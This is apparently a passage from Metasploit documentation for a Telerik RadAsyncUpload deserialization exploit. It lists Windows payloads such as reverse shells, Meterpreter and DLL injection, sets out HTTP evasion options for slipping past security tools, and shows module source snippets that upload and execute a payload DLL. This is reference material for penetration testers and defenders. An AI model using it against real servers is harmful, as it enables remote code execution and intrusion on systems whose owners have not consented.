   67   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   68   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   69   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   70   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   71   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   72   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   73   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   74   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   75   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   76   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   77   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   78   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   79   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   80   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   81   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   82   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
   83   payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid                        normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   84   payload/windows/patchupmeterpreter/bind_named_pipe                           normal  No     Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
   85   payload/windows/patchupmeterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   86   payload/windows/patchupmeterpreter/bind_tcp                                  normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
   87   payload/windows/patchupmeterpreter/bind_tcp_rc4                              normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   88   payload/windows/patchupmeterpreter/bind_tcp_uuid                             normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
   89   payload/windows/patchupmeterpreter/reverse_ipv6_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
   90   payload/windows/patchupmeterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   91   payload/windows/patchupmeterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   92   payload/windows/patchupmeterpreter/reverse_tcp                               normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   93   payload/windows/patchupmeterpreter/reverse_tcp_allports                      normal  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   94   payload/windows/patchupmeterpreter/reverse_tcp_dns                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   95   payload/windows/patchupmeterpreter/reverse_tcp_rc4                           normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   96   payload/windows/patchupmeterpreter/reverse_tcp_rc4_dns                       normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   97   payload/windows/patchupmeterpreter/reverse_tcp_uuid                          normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   98   payload/windows/peinject/bind_hidden_ipknock_tcp                             normal  No     Windows Inject PE Files, Hidden Bind Ipknock TCP Stager
   99   payload/windows/peinject/bind_hidden_tcp                                     normal  No     Windows Inject PE Files, Hidden Bind TCP Stager
   100  payload/windows/peinject/bind_ipv6_tcp                                       normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)
   101  payload/windows/peinject/bind_ipv6_tcp_uuid                                  normal  No     Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   102  payload/windows/peinject/bind_named_pipe                                     normal  No     Windows Inject PE Files, Windows x86 Bind Named Pipe Stager
   103  payload/windows/peinject/bind_nonx_tcp                                       normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   104  payload/windows/peinject/bind_tcp                                            normal  No     Windows Inject PE Files, Bind TCP Stager (Windows x86)
   105  payload/windows/peinject/bind_tcp_rc4                                        normal  No     Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   106  payload/windows/peinject/bind_tcp_uuid                                       normal  No     Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)
   107  payload/windows/peinject/reverse_ipv6_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (IPv6)
   108  payload/windows/peinject/reverse_named_pipe                                  normal  No     Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager
   109  payload/windows/peinject/reverse_nonx_tcp                                    normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   110  payload/windows/peinject/reverse_ord_tcp                                     normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   111  payload/windows/peinject/reverse_tcp                                         normal  No     Windows Inject PE Files, Reverse TCP Stager
   112  payload/windows/peinject/reverse_tcp_allports                                normal  No     Windows Inject PE Files, Reverse All-Port TCP Stager
   113  payload/windows/peinject/reverse_tcp_dns                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (DNS)
   114  payload/windows/peinject/reverse_tcp_rc4                                     normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   115  payload/windows/peinject/reverse_tcp_rc4_dns                                 normal  No     Windows Inject PE Files, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   116  payload/windows/peinject/reverse_tcp_uuid                                    normal  No     Windows Inject PE Files, Reverse TCP Stager with UUID Support
   117  payload/windows/powershell_bind_tcp                                          normal  No     Windows Interactive Powershell Session, Bind TCP
   118  payload/windows/powershell_reverse_tcp                                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   119  payload/windows/shell/bind_hidden_ipknock_tcp                                normal  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   120  payload/windows/shell/bind_hidden_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Stager
   121  payload/windows/shell/bind_ipv6_tcp                                          normal  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   122  payload/windows/shell/bind_ipv6_tcp_uuid                                     normal  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   123  payload/windows/shell/bind_named_pipe                                        normal  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   124  payload/windows/shell/bind_nonx_tcp                                          normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   125  payload/windows/shell/bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   126  payload/windows/shell/bind_tcp_rc4                                           normal  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   127  payload/windows/shell/bind_tcp_uuid                                          normal  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   128  payload/windows/shell/reverse_ipv6_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   129  payload/windows/shell/reverse_nonx_tcp                                       normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   130  payload/windows/shell/reverse_ord_tcp                                        normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   131  payload/windows/shell/reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Stager
   132  payload/windows/shell/reverse_tcp_allports                                   normal  No     Windows Command Shell, Reverse All-Port TCP Stager
   133  payload/windows/shell/reverse_tcp_dns                                        normal  No     Windows Command Shell, Reverse TCP Stager (DNS)
   134  payload/windows/shell/reverse_tcp_rc4                                        normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   135  payload/windows/shell/reverse_tcp_rc4_dns                                    normal  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   136  payload/windows/shell/reverse_tcp_uuid                                       normal  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   137  payload/windows/shell/reverse_udp                                            normal  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   138  payload/windows/shell_bind_tcp                                               normal  No     Windows Command Shell, Bind TCP Inline
   139  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   140  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   141  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   142  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   143  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   144  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   145  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   146  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   147  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   148  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   149  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   150  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   151  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   152  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   153  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   154  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   155  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   156  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   157  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   158  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   159  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   160  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   161  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   162  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   163  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   164  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   165  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   166  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   167  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   168  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   169  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   170  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   171  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   172  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   173  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   174  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   175  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   176  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   177  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   178  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   179  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   180  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   181  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   182  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   183  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   184  payload/windows/x64/exec                                                     normal  No     Windows x64 Execute Command
   185  payload/windows/x64/loadlibrary                                              normal  No     Windows x64 LoadLibrary Path
   186  payload/windows/x64/messagebox                                               normal  No     Windows MessageBox x64
   187  payload/windows/x64/meterpreter/bind_ipv6_tcp                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   188  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   189  payload/windows/x64/meterpreter/bind_named_pipe                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   190  payload/windows/x64/meterpreter/bind_tcp                                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   191  payload/windows/x64/meterpreter/bind_tcp_rc4                                 normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   192  payload/windows/x64/meterpreter/bind_tcp_uuid                                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   193  payload/windows/x64/meterpreter/reverse_http                                 normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   194  payload/windows/x64/meterpreter/reverse_https                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   195  payload/windows/x64/meterpreter/reverse_named_pipe                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   196  payload/windows/x64/meterpreter/reverse_tcp                                  normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   197  payload/windows/x64/meterpreter/reverse_tcp_rc4                              normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   198  payload/windows/x64/meterpreter/reverse_tcp_uuid                             normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   199  payload/windows/x64/meterpreter/reverse_winhttp                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   200  payload/windows/x64/meterpreter/reverse_winhttps                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   201  payload/windows/x64/peinject/bind_ipv6_tcp                                   normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   202  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                              normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   203  payload/windows/x64/peinject/bind_named_pipe                                 normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   204  payload/windows/x64/peinject/bind_tcp                                        normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   205  payload/windows/x64/peinject/bind_tcp_rc4                                    normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   206  payload/windows/x64/peinject/bind_tcp_uuid                                   normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   207  payload/windows/x64/peinject/reverse_named_pipe                              normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   208  payload/windows/x64/peinject/reverse_tcp                                     normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   209  payload/windows/x64/peinject/reverse_tcp_rc4                                 normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   210  payload/windows/x64/peinject/reverse_tcp_uuid                                normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   211  payload/windows/x64/powershell_bind_tcp                                      normal  No     Windows Interactive Powershell Session, Bind TCP
   212  payload/windows/x64/powershell_reverse_tcp                                   normal  No     Windows Interactive Powershell Session, Reverse TCP
   213  payload/windows/x64/shell/bind_ipv6_tcp                                      normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   214  payload/windows/x64/shell/bind_ipv6_tcp_uuid                                 normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   215  payload/windows/x64/shell/bind_named_pipe                                    normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   216  payload/windows/x64/shell/bind_tcp                                           normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   217  payload/windows/x64/shell/bind_tcp_rc4                                       normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   218  payload/windows/x64/shell/bind_tcp_uuid                                      normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   219  payload/windows/x64/shell/reverse_tcp                                        normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   220  payload/windows/x64/shell/reverse_tcp_rc4                                    normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   221  payload/windows/x64/shell/reverse_tcp_uuid                                   normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   222  payload/windows/x64/shell_bind_tcp                                           normal  No     Windows x64 Command Shell, Bind TCP Inline
   223  payload/windows/x64/shell_reverse_tcp                                        normal  No     Windows x64 Command Shell, Reverse TCP Inline
   224  payload/windows/x64/vncinject/bind_ipv6_tcp                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   225  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                             normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   226  payload/windows/x64/vncinject/bind_named_pipe                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   227  payload/windows/x64/vncinject/bind_tcp                                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   228  payload/windows/x64/vncinject/bind_tcp_rc4                                   normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   229  payload/windows/x64/vncinject/bind_tcp_uuid                                  normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   230  payload/windows/x64/vncinject/reverse_http                                   normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   231  payload/windows/x64/vncinject/reverse_https                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   232  payload/windows/x64/vncinject/reverse_tcp                                    normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   233  payload/windows/x64/vncinject/reverse_tcp_rc4                                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   234  payload/windows/x64/vncinject/reverse_tcp_uuid                               normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   235  payload/windows/x64/vncinject/reverse_winhttp                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   236  payload/windows/x64/vncinject/reverse_winhttps                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/http/telerik_rau_deserialization exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/http/telerik_rau_deserialization) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

message


Here is a relevant code snippet related to the "message" error message:

91:	    res = send_request_cgi({
92:	      'uri' => normalize_uri(target_uri.path, 'Telerik.Web.UI.WebResource.axd'),
93:	      'vars_get' => { 'type' => 'rau' }
94:	    })
95:	    return CheckCode::Safe unless res&.code == 200
96:	    return CheckCode::Safe unless res.get_json_document&.dig('message') =~ /RadAsyncUpload handler is registered succesfully/
97:	
98:	    if datastore['VERSION'].blank?
99:	      @version = enumerate_version
100:	    else
101:	      begin

No version was specified and it could not be enumerated


Here is a relevant code snippet related to the "No version was specified and it could not be enumerated" error message:

121:	    # with custom errors enabled (which is the default), it's not possible to test for the serialization flaw without triggering it
122:	    CheckCode::Detected
123:	  end
124:	
125:	  def exploit
126:	    fail_with(Failure::BadConfig, 'No version was specified and it could not be enumerated') if @version.nil?
127:	    upload_file(generate_payload_dll({ mixed_mode: true }), @version)
128:	    execute_payload
129:	  end
130:	
131:	  def execute_payload

Failed to execute the payload


Here is a relevant code snippet related to the "Failed to execute the payload" error message:

143:	        'ctype' => "multipart/form-data; boundary=#{msg.bound}"
144:	      }, 5
145:	    )
146:	    # this request to execute the payload times out on success and returns 200 when it fails, for example because the
147:	    # AllowedCustomMetaDataTypes setting is blocking the necessary code path
148:	    fail_with(Failure::UnexpectedReply, 'Failed to execute the payload') if res&.code == 200
149:	  end
150:	
151:	  def upload_file(file_contents, version)
152:	    target_folder = encrypt('')
153:	    temp_target_folder = encrypt(datastore['DESTINATION'].encode('UTF-16LE'))

The upload failed


Here is a relevant code snippet related to the "The upload failed" error message:

186:	        'method' => 'POST',
187:	        'data' => msg.to_s,
188:	        'ctype' => "multipart/form-data; boundary=#{msg.bound}"
189:	      }
190:	    )
191:	    fail_with(Failure::UnexpectedReply, 'The upload failed') unless res&.code == 200
192:	    metadata = JSON.parse(decrypt(res.get_json_document['metaData']).force_encoding('UTF-16LE'))
193:	    dest_path = "#{datastore['DESTINATION'].chomp('\\')}\\#{metadata['TempFileName']}"
194:	    print_good("Uploaded #{file_contents.length} bytes to: #{dest_path}")
195:	    register_file_for_cleanup(dest_path)
196:	  end

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References


See Also


Check also the following modules related to this module:

Authors


  • Spencer McIntyre
  • Paul Taylor
  • Markus Wulftange
  • Caleb Gross
  • Alvaro Muñoz
  • Oleksandr Mirosh
  • straightblast

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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